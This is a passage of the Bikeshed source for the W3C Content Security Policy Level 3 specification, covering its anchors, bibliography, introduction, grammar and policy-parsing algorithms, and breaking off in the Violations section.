a css rule\n    text: parse a css declaration block\n    text: parse a css rule\n    text: parse a group of selectors\nspec:css-cascade\n  type: at-rule\n    text: @import\nspec:infra;\n  type:dfn;\n    text:ascii case-insensitive\n    text:string; for: /\n    text:list; for: /\n    text:set; for: /\n    text:append; for: set\n    text:empty; for: set\n    text:strictly split a string\n    text:starts with; for:string\n</pre>\n<pre class=\"anchors\">\nspec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454\n  type: dfn\n    text: the same; url: section-5\nspec: ECMA262; urlPrefix: https://tc39.github.io/ecma262\n  type: dfn\n    text: realm\n  type: method\n    text: HostEnsureCanCompileStrings(); url: sec-hostensurecancompilestrings\n    text: eval(); url: sec-eval-x\n    text: Function(); url: sec-function-objects\nspec: MIX; urlPrefix: https://www.w3.org/TR/mixed-content/\n  type: dfn; text: block-all-mixed-content\nspec: RFC3986; urlPrefix: https://tools.ietf.org/html/rfc3986\n  type: grammar\n    text: path-absolute; url: section-3.3\n    text: scheme; url: section-3.1\n    text: IPv4address; url: section-3.2.2\n    text: uri-reference; url: section-4.1\nspec: RFC4648; urlPrefix: https://tools.ietf.org/html/rfc4648\n  type: dfn\n    text: base64 encoding; url: section-4\n    text: base64url encoding; url: section-5\nspec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234\n  type: grammar\n    text: ALPHA; url: appendix-B.1\n    text: DIGIT; url: appendix-B.1\n    text: VCHAR; url: appendix-B.1\nspec: RFC5890; urlPrefix: https://tools.ietf.org/html/rfc5890\n  type: dfn\n    text: label; url: section-2.2\nspec: RFC9110; urlPrefix: https://tools.ietf.org/html/rfc9110\n  type: grammar\n    text: OWS; url: section-5.6.3\n    text: token; url: section-5.6.2\n  type: dfn\n    url: section-3.2\n      text: resource representation\n      text: representation\n\nspec: REPORTING; urlPrefix: https://w3c.github.io/reporting/\n  type: dfn\n    text: queue report; url: queue-report\n    text: report type\n    text: visible to reportingobservers\n\nspec: SHA2; urlPrefix: https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\n  type: dfn\n    text: SHA-256; url: #\n    text: SHA-384; url: #\n    text: SHA-512; url: #\n\nspec: HTML; urlPrefix: https://html.spec.whatwg.org/\n  type: dfn\n    for: script\n      text: \"parser-inserted\"\n    text: origin; url: concept-origin\n    text: content security policy state; url: attr-meta-http-equiv-content-security-policy\n    text: create and initialize a new document object; url: initialise-the-document-object\n    text: initializing a new Document object; url: initialise-the-document-object\n    text: prepare the script element; url: prepare-the-script-element\n    text: plugin; url: #plugin\n    text: navigable; url: #navigable\n  type: attr-value\n    for: link/rel; text: prefetch; url: link-type-prefetch\n    for: link/rel; text: preconnect; url: link-type-preconnect\n\nspec: INFRA; urlPrefix: https://infra.spec.whatwg.org/\n  type: grammar\n    text: ASCII whitespace; url: ascii-whitespace\n    text: INFRA; url: #\n\nspec: WebAssembly-js-api; urlPrefix: https://webassembly.github.io/spec/js-api/\n  type: method\n    text: new WebAssembly.Module(); url: #dom-module-module\n    text: WebAssembly.compile(); url: #dom-webassembly-compile\n    text: WebAssembly.instantiate(); url: #dom-webassembly-instantiate\n  type: exception\n    text: WebAssembly.CompileError; url: #exceptiondef-compileerror\n\nspec: WebAssembly-web-api; urlPrefix: https://webassembly.github.io/spec/web-api/\n  type: method\n    text: WebAssembly.compileStreaming(); url: #dom-webassembly-compilestreaming\n    text: WebAssembly.instantiateStreaming(); url: #dom-webassembly-instantiatestreaming\n\nspec: WebAssembly-js-csp-proposal; urlPrefix: https://webassembly.github.io/content-security-policy/js-api/\n  type: method\n    text: HostEnsureCanCompileWasmBytes(); url:#host-ensure-can-compile-wasm-bytes\n\nspec: WebRTC; urlPrefix: https://www.w3.org/TR/webrtc/\n  type:dfn\n    text: administratively-prohibited; url: #dfn-administratively-prohibited\n\nspec:SRI; urlPrefix: https://w3c.github.io/webappsec-subresource-integrity\n  type:dfn;\n    text:applying algorithm to bytes; url: #apply-algorithm-to-response\n    text: cryptographic hash function; url: #hash-functions\n\n</pre>\n<pre class=\"biblio\">\n{\n  \"HTML-DESIGN\": {\n    \"authors\": [ \"Anne Van Kesteren\", \"Maciej Stachowiak\" ],\n    \"href\": \"https://www.w3.org/TR/html-design-principles/\",\n    \"title\": \"HTML Design Principles\",\n    \"publisher\": \"W3C\"\n  },\n  \"ECMA262\": {\n    \"authors\": [ \"Brian Terlson\", \"Allen Wirfs-Brock\" ],\n    \"href\": \"https://tc39.github.io/ecma262/\",\n    \"title\": \"ECMAScript® Language Specification\",\n    \"publisher\": \"ECMA\"\n  },\n  \"REPORTING\": {\n    \"href\": \"https://wicg.github.io/reporting/\",\n    \"title\": \"Reporting API\",\n    \"authors\": [ \"Ilya Grigorik\", \"Mike West\" ]\n  },\n  \"TIMING\": {\n      \"href\": \"https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf\",\n      \"title\": \"Pixel Perfect Timing Attacks\",\n      \"authors\": [ \"Paul Stone\" ]\n  },\n  \"H5SC3\": {\n      \"href\": \"https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22\",\n      \"title\": \"H5SC Minichallenge 3: \\\"Sh*t, it's CSP!\\\"\",\n      \"authors\": [ \"Mario Heiderich\" ],\n      \"publisher\": \"Cure53\"\n  },\n  \"CSS-ABUSE\": {\n      \"href\": \"https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\",\n      \"title\": \"Generic cross-browser cross-domain theft\",\n      \"authors\": [ \"Chris Evans\" ],\n      \"date\": \"28 December 2009\"\n  },\n  \"FILEDESCRIPTOR-2015\": {\n      \"href\": \"https://blog.innerht.ml/csp-2015/#danglingmarkupinjection\",\n      \"title\": \"CSP 2015\",\n      \"authors\": [ \"filedescriptor\" ],\n      \"date\": \"23 November 2015\"\n  },\n  \"LONG-LIVE-CSP\": {\n      \"href\": \"https://dl.acm.org/doi/10.1145/2976749.2978363\",\n      \"title\": \"CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy\",\n      \"authors\": [ \"Lukas Weichselbaum\", \"Michele Spagnuolo\", \"Sebastian Lekies\", \"Artur Janc\" ],\n      \"date\": \"24 October 2016\"\n  },\n  \"WEBDEV-STRICTCSP\": {\n      \"href\": \"https://web.dev/strict-csp/\",\n      \"title\": \"Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)\",\n      \"authors\": [ \"Lukas Weichselbaum\" ],\n      \"date\": \"15 March 2021\"\n  }\n}\n</pre>\n<style>\n  ul.toc ul ul ul {\n    margin: 0 0 0 2em;\n  }\n  ul.toc ul ul ul span.secno {\n    margin-left: -9em;\n  }\n\n  a[href^=\"http:\"]:after {\n    color: red;\n    content: \"\\1F512\";  /* A lock symbol: 🔓. */\n  }\n\n  .wip {\n    margin: 1em auto;\n\n    background: #FCFAEE;\n    border: 0.5em;\n    border-left-style: solid;\n    border-color: #E0CB52;\n    padding: 0.5em;\n  }\n\n  .wip::before {\n    content: \"Work In Progress: \";\n    display: block;\n    color: #827017;\n  }\n  section.wip {\n    padding-left: 2em;\n  }\n\n</style>\n<!--\n████ ██    ██ ████████ ████████   ███████\n ██  ███   ██    ██    ██     ██ ██     ██\n ██  ████  ██    ██    ██     ██ ██     ██\n ██  ██ ██ ██    ██    ████████  ██     ██\n ██  ██  ████    ██    ██   ██   ██     ██\n ██  ██   ███    ██    ██    ██  ██     ██\n████ ██    ██    ██    ██     ██  ███████\n-->\n<section>\n  <h2 id=\"intro\">Introduction</h2>\n\n  <em>This section is not normative.</em>\n\n  This document defines <dfn export>Content Security Policy</dfn> (CSP), a tool\n  which developers can use to lock down their applications in various ways,\n  mitigating the risk of content injection vulnerabilities such as cross-site scripting, and\n  reducing the privilege with which their applications execute.\n\n  CSP is not intended as a first line of defense against content injection\n  vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces\n  the harm that a malicious injection can cause, but it is not a replacement for\n  careful input validation and output encoding.\n\n  This document is an iteration on Content Security Policy Level 2, with the\n  goal of more clearly explaining the interactions between CSP, HTML, and Fetch\n  on the one hand, and providing clear hooks for modular extensibility on the\n  other. Ideally, this will form a stable core upon which we can build new\n  functionality.\n\n  <h3 id=\"examples\">Examples</h3>\n\n  <h4 id=\"example-basic\">Control Execution</h4>\n\n  <div class=\"example\">\n    MegaCorp Inc's developers want to protect themselves against cross-site\n    scripting attacks. They can mitigate the risk of script injection by\n    ensuring that their trusted CDN is the only origin from which script can\n    load and execute. Moreover, they wish to ensure that no plugins can\n    execute in their pages' contexts. The following policy has that effect:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: script-src https://cdn.example.com/scripts/; object-src 'none'\n    </pre>\n  </div>\n\n  <h3 id=\"goals\">Goals</h3>\n\n  Content Security Policy aims to do to a few related things:\n\n  1.  Mitigate the risk of content-injection attacks by giving developers\n      fairly granular control over\n\n      *   The resources which can be requested (and subsequently embedded or\n          executed) on behalf of a specific {{Document}} or {{Worker}}\n\n      *   The execution of inline script\n\n      *   Dynamic code execution (via {{eval()}} and similar constructs)\n\n      *   The application of inline style\n\n  2.  Mitigate the risk of attacks which require a resource to be embedded\n      in a malicious context (the \"Pixel Perfect\" attack described in\n      [[TIMING]], for example) by giving developers granular control over the\n      origins which can embed a given resource.\n\n  3.  Provide a policy framework which allows developers to reduce the privilege\n      of their applications.\n\n  4.  Provide a reporting mechanism which allows developers to detect flaws\n      being exploited in the wild.\n\n  <h3 id=\"changes-from-level-2\">Changes from Level 2</h3>\n\n  This document describes an evolution of the Content Security Policy Level 2\n  specification [[CSP2]]. The following is a high-level overview of the changes:\n\n  1.  The specification has been rewritten from the ground up in terms of the\n      [[FETCH]] specification, which should make it simpler to integrate CSP's\n      requirements and restrictions with other specifications (and with\n      Service Workers in particular).\n\n  2.  The `child-src` model has been substantially altered:\n\n      1. The `frame-src` directive, which was deprecated in CSP Level\n         2, has been undeprecated, but continues to defer to `child-src` if\n         not present (which defers to `default-src` in turn).\n\n      2. A `worker-src` directive has been added, deferring to `child-src`\n         if not present (which likewise defers to `script-src` and\n         eventually `default-src`).\n\n  3.  The URL matching algorithm now treats insecure schemes and ports as\n      matching their secure variants. That is, the source expression\n      `http://example.com:80` will match both `http://example.com:80` and\n      `https://example.com:443`.\n\n      Likewise, `'self'` now matches `https:` and `wss:` variants of the page's\n      origin, even on pages whose scheme is `http`.\n\n  4.  Violation reports generated from inline script or style will now report\n      \"`inline`\" as the blocked resource. Likewise, blocked `eval()` execution\n      will report \"`eval`\" as the blocked resource.\n\n  5.  The `manifest-src` directive has been added.\n\n  6.  The `report-uri` directive is deprecated in favor of the new `report-to`\n      directive, which relies on [[REPORTING]] as infrastructure.\n\n  7.  The `'strict-dynamic'` source expression will now allow script which\n      executes on a page to load more script via non-<a>\"parser-inserted\"</a>\n      <{script}> elements. Details are in [[#strict-dynamic-usage]].\n\n  8.  The `'unsafe-hashes'` source expression will now allow event\n      handlers, style attributes and `javascript:` navigation targets to match\n      hashes. Details in [[#unsafe-hashes-usage]].\n\n  9.  The <a>source expression</a> matching has been changed to require explicit presence\n      of any non-<a>HTTP(S) scheme</a>, rather than <a>local scheme</a>,\n      unless that non-<a>HTTP(S) scheme</a> is the same as the scheme of protected resource,\n      as described in [[#match-url-to-source-expression]].\n\n  10. Hash-based source expressions may now match external scripts if the\n      <{script}> element that triggers the request specifies a set of integrity\n      metadata which is listed in the current policy. Details in\n      [[#external-hash]].\n\n  11. Reports generated for inline violations will contain a <a for=\"violation\">sample</a>\n      attribute if the relevant directive contains the <a grammar>`'report-sample'`</a>\n      expression.\n</section>\n\n<!-- Big Text: Framework -->\n<section>\n  <h2 id=\"framework\">Framework</h2>\n\n  <h3 id=\"framework-infrastructure\">Infrastructure</h3>\n\n  This document uses ABNF grammar to specify syntax, as defined in [[!RFC5234]]. It also relies on\n  the `#rule` ABNF extension defined in\n  <a href=\"https://tools.ietf.org/html/rfc9110#section-5.6.1\">Section 5.6.1</a> of [[!RFC9110]],\n  with the modification that <a grammar>OWS</a> is replaced with\n  <a grammar>optional-ascii-whitespace</a>. That is, the `#rule` used in this\n  document is defined as:\n\n  <pre>\n    1#element => element *( <a grammar>optional-ascii-whitespace</a> \",\" <a grammar>optional-ascii-whitespace</a> element )\n  </pre>\n\n  and for n >= 1 and m > 1:\n\n  <pre>\n    &lt;n&gt;#&lt;m&gt;element => element &lt;n-1&gt;*&lt;m-1&gt;( <a grammar>optional-ascii-whitespace</a> \",\" <a grammar>optional-ascii-whitespace</a> element )\n  </pre>\n\n  This document depends on the Infra Standard for a number of foundational concepts used in its\n  algorithms and prose [[!INFRA]].\n\n  The following definitions are used to improve readability of other definitions in this document.\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    <dfn>optional-ascii-whitespace</dfn> = *( %x09 / %x0A / %x0C / %x0D / %x20 )\n    <dfn>required-ascii-whitespace</dfn> = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )\n    ; These productions match the definition of <a>ASCII whitespace</a> from the <a>INFRA</a> standard.\n  </pre>\n\n  <h3 id=\"framework-policy\">Policies</h3>\n\n  A <dfn export lt=\"content security policy object\" local-lt=\"policy\">policy</dfn> defines allowed\n  and restricted behaviors, and may be applied to a {{Document}}, {{WorkerGlobalScope}}, or\n  {{WorkletGlobalScope}}.\n\n  Each policy has an associated <dfn for=\"content security policy object\" export>directive set</dfn>, which is an <a>ordered\n  set</a> of <a>directives</a> that define the policy's implications when applied.\n\n  Each policy has an associated <dfn for=\"content security policy object\" export>disposition</dfn>, which is either\n  \"`enforce`\" or \"`report`\".\n\n  Each policy has an associated <dfn for=\"content security policy object\" export>source</dfn>, which is either \"`header`\"\n  or \"`meta`\".\n\n  Multiple [=/policies=] can be applied to a single resource. A <dfn export>CSP\n  list</dfn> is a [=struct=] consisting of <dfn for=\"CSP list\"\n  export>policies</dfn> (a [=list=] of [=/policies=]) and a <dfn for=\"CSP list\"\n  export>self-origin</dfn> (an <a>origin</a> which is used when matching the <a\n  grammar>`'self'`</a> keyword).\n\n  Note: This is needed to facilitate the <a grammar>`'self'`</a> checks of\n  <a>local scheme</a> documents/workers that have inherited their policy but\n  have an <a>opaque origin</a>. Most of the time this will simply be the\n  <a>environment settings object</a>'s [=environment settings object/origin=].\n\n  A [=/CSP list=] <dfn export>contains a header-delivered Content Security\n  Policy</dfn> if its [=CSP list/policies=] [=list/contain=] a [=/policy=] whose\n  [=content security policy object/source=] is \"`header`\".\n\n  A <dfn export>serialized CSP</dfn> is an <a>ASCII string</a> consisting of a semicolon-delimited\n  series of <a>serialized directives</a>, adhering to the following ABNF grammar [[!RFC5234]]:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    <dfn>serialized-policy</dfn> =\n        <a>serialized-directive</a> *( <a>optional-ascii-whitespace</a> \";\" [ <a>optional-ascii-whitespace</a> <a>serialized-directive</a> ] )\n  </pre>\n\n  A <dfn export>serialized CSP list</dfn> is an [=ASCII string=] consisting of a comma-delimited\n  series of [=serialized CSPs=], adhering to the following ABNF grammar [[!RFC5234]]:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    <dfn>serialized-policy-list</dfn> = 1#<a>serialized-policy</a>\n                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110\n                        ; but it incorporates the modifications specified\n                        ; in section 2.1 of this document.\n  </pre>\n\n  <h4 id=\"parse-serialized-policy\" algorithm>\n    Parse a serialized CSP\n  </h4>\n\n  To <dfn abstract-op export>parse a serialized CSP</dfn>, given a [=byte sequence=] or\n  [=string=] |serialized|, a [=content security policy object/source=] |source|, and a [=content security policy object/disposition=]\n  |disposition|, execute the following steps.\n\n  This algorithm returns a [=Content Security Policy object=]. If |serialized| could not be\n  parsed, the object's [=content security policy object/directive set=] will be empty.\n\n  <ol class=\"algorithm\">\n    1.  If |serialized| is a [=byte sequence=], then set |serialized| to be the result of\n        [=isomorphic decoding=] |serialized|.\n\n    2.  Let |policy| be a new [=/policy=] with an empty [=content security policy object/directive set=], a [=content security policy object/source=]\n        of |source|, and a [=content security policy object/disposition=] of |disposition|.\n\n    3.  <a for=list>For each</a> |token| returned by [=strictly split a string|strictly splitting=] |serialized| on\n        the U+003B SEMICOLON character (`;`):\n\n        1.  [=Strip leading and trailing ASCII whitespace=] from |token|.\n\n        2.  If |token| is an empty string, or if |token| is not an [=ASCII string=], [=iteration/continue=].\n\n        3.  Let |directive name| be the result of [=collecting a sequence of code points=] from\n            |token| which are not [=ASCII whitespace=].\n\n        4.  Set |directive name| to be the result of running <a>ASCII lowercase</a>\n            on |directive name|.\n\n            Note: Directive names are case-insensitive, that is: `script-SRC 'none'` and\n            `ScRiPt-sRc 'none'` are equivalent.\n\n        5.  If |policy|'s [=content security policy object/directive set=] contains a [=directive=] whose [=directive/name=]\n            is |directive name|, [=iteration/continue=].\n\n            Note: In this case, the user agent SHOULD notify developers that a duplicate\n            directive was ignored. A console warning might be appropriate, for example.\n\n        6.  Let |directive value| be the result of\n            <a lt=\"split a string on ASCII whitespace\">splitting |token| on\n            ASCII whitespace</a>.\n\n        7.  Let |directive| be a new [=directive=] whose [=directive/name=] is |directive name|, and\n            [=directive/value=] is |directive value|.\n\n        8.  [=set/append|Append=] |directive| to |policy|'s [=content security policy object/directive set=].\n\n    4.  Return |policy|.\n  </ol>\n\n  <h4 id=\"parse-response-csp\" algorithm dfn export>\n    Parse |response|'s Content Security Policies\n  </h4>\n\n  To <dfn abstract-op>parse a response's Content Security Policies</dfn> given a <a>response</a>\n  |response|, execute the following steps.\n\n  This algorithm returns a [=/CSP list=]. If the policies cannot be parsed, the\n  returned list will have empty [=CSP list/policies=].\n\n  <ol class=\"algorithm\">\n    1.  Let |policies| be an empty [=list=].\n\n    2.  <a for=list>For each</a> |token| returned by [=extracting header list values=] given\n        `Content-Security-Policy` and |response|'s [=response/header list=]:\n\n        1.  Let |policy| be the result of\n            <a abstract-op lt=\"parse a serialized CSP\">parsing</a> |token|, with a\n            [=content security policy object/source=] of \"`header`\", and a [=content security policy object/disposition=] of \"`enforce`\".\n\n        2.  If |policy|'s [=content security policy object/directive set=] is not empty, append |policy| to |policies|.\n\n    3.  <a for=list>For each</a> |token| returned by [=extracting header list values=] given\n        `Content-Security-Policy-Report-Only` and |response|'s [=response/header list=]:\n\n        1.  Let |policy| be the result of\n            <a abstract-op lt=\"parse a serialized CSP\">parsing</a> |token|, with a\n            [=content security policy object/source=] of \"`header`\", and a [=content security policy object/disposition=] of \"`report`\".\n\n        2.  If |policy|'s [=content security policy object/directive set=] is not empty, append |policy| to |policies|.\n\n    4.  Return a [=/CSP list=] whose [=CSP list/policies=] is |policies| and\n        [=CSP list/self-origin=] is |response|'s [=response/url=]'s [=url/origin=].\n  </ol>\n\n  Note: When <a abstract-op lt=\"parse a response's Content Security Policies\">parsing a response's\n  Content Security Policies</a>, if the resulting |policies| end up containing at least one item,\n  user agents can hold a flag on |policies| and use it to optimize away the [=/contains a\n  header-delivered Content Security Policy=] algorithm.\n\n  <h3 id=\"framework-directives\">Directives</h3>\n\n  Each <a for=\"/\">policy</a> contains an <a>ordered set</a> of <dfn export>directives</dfn> (its\n  <a for=\"content security policy object\">directive set</a>), each of which controls a specific behavior. The directives\n  defined in this document are described in detail in [[#csp-directives]].\n\n  Each <a>directive</a> is a <dfn for=\"directive\" export>name</dfn> /\n  <dfn for=\"directive\" export>value</dfn> pair. The <a for=\"directive\">name</a> is a\n  non-empty <a>string</a>, and the [=directive/value=] is a <a>set</a> of non-empty <a>strings</a>. The\n  [=directive/value=] MAY be <a for=\"list\" lt=\"is empty\">empty</a>.\n\n  A <dfn export>serialized directive</dfn> is an <a>ASCII string</a>, consisting of one or more\n  whitespace-delimited tokens, and adhering to the following ABNF [[!RFC5234]]:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    <dfn>serialized-directive</dfn> = <a>directive-name</a> [ <a>required-ascii-whitespace</a> <a>directive-value</a> ]\n    <dfn>directive-name</dfn>       = 1*( <a>ALPHA</a> / <a>DIGIT</a> / \"-\" )\n    <dfn>directive-value</dfn>      = *( <a>required-ascii-whitespace</a> / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )\n                           ; Directive values may contain whitespace and <a>VCHAR</a> characters,\n                           ; excluding \";\" and \",\". The second half of the definition\n                           ; above represents all <a>VCHAR</a> characters (%x21-%x7E)\n                           ; without \";\" and \",\" (%x3B and %x2C respectively)\n\n    ; <a>ALPHA</a>, <a>DIGIT</a>, and <a>VCHAR</a> are defined in Appendix B.1 of RFC 5234.\n  </pre>\n\n  <a>Directives</a> have a number of associated algorithms:\n\n  1.  A <dfn for=\"directive\" export>pre-request check</dfn>, which takes a <a\n      for=\"/\">request</a>, a <a for=\"/\">policy</a>, and an <a>origin</a> as an\n      argument, and is executed during [[#should-block-request]]. This algorithm\n      returns \"`Allowed`\" unless otherwise specified.\n\n  2.  A <dfn for=\"directive\" export>post-request check</dfn>, which takes a <a\n      for=\"/\">request</a>, a <a>response</a>, a <a for=\"/\">policy</a> and an\n      <a>origin</a> as arguments, and is executed during\n      [[#should-block-response]]. This algorithm returns \"`Allowed`\" unless\n      otherwise specified.\n\n  3.  An <dfn for=\"directive\" export>inline check</dfn>, which takes an {{Element}}, a\n      type string, a <a for=\"/\">policy</a>, and a source string as arguments,\n      and is executed during [[#should-block-inline]] and during\n      [[#should-block-navigation-request]] for `javascript:` requests. This\n      algorithm returns \"`Allowed`\" unless otherwise specified.\n\n  4.  An <dfn for=\"directive\" export>initialization</dfn>, which takes a {{Document}}\n      or <a for=\"/\">global object</a> and a <a for=\"/\">policy</a> as arguments. This\n      algorithm is executed during [[#run-document-csp-initialization]] and\n      [[#run-global-object-csp-initialization]]. Unless otherwise specified, it has no\n      effect and it returns \"`Allowed`\".\n\n  5.  A <dfn for=\"directive\" export>pre-navigation check</dfn>, which takes a <a\n      for=\"/\">request</a>, a navigation type string (\"`form-submission`\" or\n      \"`other`\"), a <a for=\"/\">policy</a> and an <a>origin</a> as arguments, and\n      is executed during [[#should-block-navigation-request]]. It returns\n      \"`Allowed`\" unless otherwise specified.\n\n  6.  A <dfn for=\"directive\" export>navigation response check</dfn>, which takes\n      a <a for=\"/\">request</a>, a navigation type string (\"`form-submission`\" or\n      \"`other`\"), a <a>response</a>, a <a>navigable</a>, a check type string\n      (\"`source`\" or \"`response`\"), a <a for=\"/\">policy</a>, and an\n      <a>origin</a> as arguments, and is executed during\n      [[#should-block-navigation-response]]. It returns \"`Allowed`\" unless\n      otherwise specified.\n\n  8.  A <dfn for=\"directive\" export>webrtc pre-connect check</dfn>, which takes a [=/policy=], and\n      is executed during [[#should-block-rtc-connection]]. It returns \"`Allowed`\" unless\n      otherwise specified.\n\n  <h4 id=\"framework-directive-source-list\">Source Lists</h4>\n\n  Many <a>directives</a>' [=directive/value=] consist of <dfn export>source lists</dfn>: <a>sets</a>\n  of <a>strings</a> which identify content that can be fetched and potentially embedded or\n  executed. Each <a>string</a> represents one of the following types of <dfn export>source\n  expression</dfn>:\n\n  1.  Keywords such as <a grammar>`'none'`</a> and\n      <a grammar>`'self'`</a> (which match nothing and the current\n      URL's origin, respectively)\n\n  2.  Serialized URLs such as `https://example.com/path/to/file.js`\n      (which matches a specific file) or `https://example.com/`\n      (which matches everything on that origin)\n\n  3.  Schemes such as `https:` (which matches any resource having\n      the specified scheme)\n\n  4.  Hosts such as `example.com` (which matches any resource on\n      the host, regardless of scheme) or `*.example.com` (which\n      matches any resource on the host's subdomains, and any of\n      its subdomains' subdomains, and so on)\n\n  5.  Nonces such as `'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'` (which can match\n      specific elements on a page)\n\n  6.  Digests such as `'sha256-abcd...'` (which can match specific\n      elements on a page)\n\n  A <dfn export>serialized source list</dfn> is an <a>ASCII string</a>, consisting of a\n  whitespace-delimited series of <a>source expressions</a>, adhering to the following ABNF grammar\n  [[!RFC5234]]:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    <dfn>serialized-source-list</dfn> = ( <a>source-expression</a> *( <a>required-ascii-whitespace</a> <a>source-expression</a> ) ) / \"<dfn>'none'</dfn>\"\n    <dfn>source-expression</dfn>      = <a>scheme-source</a> / <a>host-source</a> / <a>keyword-source</a>\n                             / <a>nonce-source</a> / <a>hash-source</a>\n\n    ; Schemes: \"https:\" / \"custom-scheme:\" / \"another.custom-scheme:\"\n    <dfn export>scheme-source</dfn> = <a>scheme-part</a> \":\"\n\n    ; Hosts: \"example.com\" / \"*.example.com\" / \"https://*.example.com:12/path/to/file.js\"\n    <dfn export>host-source</dfn> = [ <a>scheme-part</a> \"://\" ] <a>host-part</a> [ \":\" <a>port-part</a> ] [ <a>path-part</a> ]\n    <dfn>scheme-part</dfn> = <a>scheme</a>\n                  ; <a>scheme</a> is defined in section 3.1 of RFC 3986.\n    <dfn>host-part</dfn>   = \"*\" / [ \"*.\" ] 1*<a>host-char</a> *( \".\" 1*<a>host-char</a> ) [ \".\" ]\n    <dfn>host-char</dfn>   = <a>ALPHA</a> / <a>DIGIT</a> / \"-\"\n    <dfn>port-part</dfn>   = 1*<a>DIGIT</a> / \"*\"\n    <dfn>path-part</dfn>   = <a>path-absolute</a> (but not including \";\" or \",\")\n                  ; <a>path-absolute</a> is defined in section 3.3 of RFC 3986.\n\n    ; Keywords:\n    <dfn>keyword-source</dfn> = \"<dfn>'self'</dfn>\" / \"<dfn>'unsafe-inline'</dfn>\" / \"<dfn>'unsafe-eval'</dfn>\"\n                     / \"<dfn>'strict-dynamic'</dfn>\" / \"<dfn>'unsafe-hashes'</dfn>\"\n                     / \"<dfn>'report-sample'</dfn>\" / \"<dfn>'unsafe-allow-redirects'</dfn>\"\n                     / \"<dfn>'wasm-unsafe-eval'</dfn>\" / \"<dfn>'trusted-types-eval'</dfn>\"\n                     / \"<dfn>'report-sha256'</dfn>\" / \"<dfn>'report-sha384'</dfn>\"\n                     / \"<dfn>'report-sha512'</dfn>\" / \"<dfn>'unsafe-webtransport-hashes'</dfn>\"\n\n    ISSUE: Bikeshed `unsafe-allow-redirects`.\n\n    ; Nonces: 'nonce-[nonce goes here]'\n    <dfn>nonce-source</dfn>  = \"'nonce-\" <a>base64-value</a> \"'\"\n    <dfn>base64-value</dfn>  = 1*( <a>ALPHA</a> / <a>DIGIT</a> / \"+\" / \"/\" / \"-\" / \"_\" )*2( \"=\" )\n\n    ; Digests: 'sha256-[digest goes here]'\n    <dfn>hash-source</dfn>    = \"'\" <a>hash-algorithm</a> \"-\" <a>base64-value</a> \"'\"\n    <dfn>hash-algorithm</dfn> = \"sha256\" / \"sha384\" / \"sha512\"\n  </pre>\n\n  The <a grammar>host-char</a> production intentionally contains only ASCII\n  characters; internationalized domain names cannot be entered directly as part\n  of a <a>serialized CSP</a>, but instead MUST be Punycode-encoded\n  [[!RFC3492]]. For example, the domain `üüüüüü.de` MUST be represented as\n  `xn--tdaaaaaa.de`.\n\n  Note: Though IP address do match the grammar above, only\n  `127.0.0.1` will actually match a URL when used in a source\n  expression (see [[#match-url-to-source-list]] for details). The security\n  properties of IP addresses are suspect, and authors ought to prefer hostnames\n  whenever possible.\n\n  Note: The <a grammar>base64-value</a> grammar allows both [=base64 encoding|base64=] and\n  [=base64url encoding|base64url=] encoding. These encodings are treated as equivalant when\n  processing <a grammar>hash-source</a> values. Nonces, however, are strict string matches:\n  we use the <a grammar>base64-value</a> grammar to limit the characters available, and\n  reduce the complexity for the server-side operator (encodings, etc), but the user agent\n  doesn't actually care about any underlying value, nor does it do any decoding of the\n  <a grammar>nonce-source</a> value.\n\n  <h3 id=\"framework-violation\">Violations</h3>\n\n  A <dfn export>violation</dfn> represents an action or resource which goes against the\n  set of <a for=\"/\">policy</a> objects associated with a <a for=\"/\">global object</a>.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-global-object\" export>global object</dfn>, which\n  is the <a for=\"/\">global object</a> whose <a for=\"/\">policy</a> has been violated.\n\n  Each <a>violation</a> has a <dfn for=\"violation\" id=\"violation-url\" export>url</dfn>\n  which is its <a for=\"violation\">global object</a>'s {{URL}}.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-status\" export>status</dfn> which is a\n  non-negative integer representing the HTTP status code of the resource for\n  which the global object was instantiated.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-resource\" export>resource</dfn>, which is\n  either null, \"`inline`\", \"`eval`\", \"`wasm-eval`\", \"`trusted-types-policy`\", \"`trusted-types-sink`\" or a {{URL}}.\n  It represents the resource which violated the policy.\n\n  Note: The value null for a <a>violation</a>'s <a\n  for=\"violation\">resource</a> is only allowed while the <a>violation</a> is\n  being populated. By the time the <a>violation</a> is reported and its <a\n  for=\"violation\">resource</a> is used for\n  [[#obtain-violation-blocked-uri|obtaining the blocked URI]], the\n  <a>violation</a>'s <a for=\"violation\">resource</a> should be populated with a\n  {{URL}} or one of the allowed strings.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-referrer\" export>referrer</dfn>, which is either\n  null, or a {{URL}}. It represents the referrer of the resource whose policy\n  was violated.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-policy\" export>policy</dfn>, which is the\n  <a for=\"/\">policy</a> that has been violated.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-disposition\" export>disposition</dfn>, which is the\n  <a for=\"content security policy object\">disposition</a> of the <a for=\"/\">policy</a> that has been violated.\n\n  Each <a>violation</a> has an\n  <dfn for=\"violation\" id=\"violation-effective-directive\" export>effective directive</dfn>\n  which is a non-empty string representing the 